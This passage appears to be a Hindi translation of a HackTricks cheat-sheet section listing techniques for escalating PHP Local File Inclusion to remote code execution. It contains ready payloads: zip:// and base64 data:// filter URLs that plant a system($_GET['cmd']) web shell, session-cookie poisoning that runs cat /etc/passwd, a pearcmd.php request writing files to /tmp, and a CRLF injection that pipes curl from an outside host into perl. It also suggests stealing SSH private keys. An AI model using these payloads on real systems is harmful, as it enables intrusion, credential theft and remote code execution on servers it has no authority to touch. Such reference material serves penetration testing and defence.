ज़िप फ़ाइल अपलोड के माध्यम से

एक PHP शेल संकुचित करने वाली ZIP फ़ाइल अपलोड करें और एक्सेस करें:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है।

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये सत्र /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में संग्रहीत होते हैं।

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

कुकी को सेट करें <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

PHP सत्र फ़ाइल को शामिल करने के लिए LFI का उपयोग करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने की कोशिश करें।

Via vsftpd logs

FTP सर्वर vsftpd के लिए लॉग /var/log/vsftpd.log पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:

  1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
  2. इंजेक्शन के बाद, /var/log/vsftpd.log से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।

Via php base64 filter (using base64)

जैसा कि इस लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

यह writeup बताता है कि आप php filters का उपयोग करके मनचाहा सामग्री आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप मनचाहा php कोड शामिल करने के लिए बिना लिखे इसे एक फ़ाइल में उत्पन्न कर सकते हैं।

LFI2RCE via PHP Filters

Via segmentation fault

Upload एक फ़ाइल जो अस्थायी रूप से /tmp में संग्रहीत होगी, फिर उसी अनुरोध में, एक segmentation fault को ट्रिगर करें, और फिर अस्थायी फ़ाइल को हटाया नहीं जाएगा और आप इसके लिए खोज कर सकते हैं।

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

यदि आपने Local File Inclusion पाया है और Nginx PHP के सामने चल रहा है, तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

यदि आपने Local File Inclusion पाया है, भले ही आपके पास सत्र न हो और session.auto_start Off हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS को multipart POST डेटा में प्रदान करते हैं, तो PHP आपके लिए सत्र को सक्षम करेगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

यदि आपने Local File Inclusion पाया है और सर्वर Windows में चल रहा है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

जैसा कि इस पोस्ट में समझाया गया है, स्क्रिप्ट /usr/local/lib/phppearcmd.php डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में = नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।

निम्नलिखित अनुरोध /tmp/hello.php में सामग्री <?=phpinfo()?> के साथ एक फ़ाइल बनाता है:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

यह CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (से यहाँ):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

यदि आपने Local File Inclusion और एक फ़ाइल पाई है जो phpinfo() को प्रदर्शित करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

यदि आपने Local File Inclusion पाया है और आप temp फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर जांच रहा है कि शामिल की जाने वाली फ़ाइल में PHP मार्क्स हैं, तो आप इस Race Condition के साथ उस जांच को बायपास करने की कोशिश कर सकते हैं:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

यदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP निष्पादन को लटकाने के लिए मजबूर कर सकते हैं, तो आप घंटों तक फ़ाइल नामों का ब्रूट फोर्स कर सकते हैं ताकि अस्थायी फ़ाइल मिल सके:

LFI2RCE via Eternal waiting

To Fatal Error

यदि आप किसी भी फ़ाइल को शामिल करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (आपको उस त्रुटि को फेंकने के लिए एक ही फ़ाइल को 2 बार शामिल करना होगा)।

मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन यह हो सकता है।
भले ही आप PHP Fatal Error का कारण बनें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें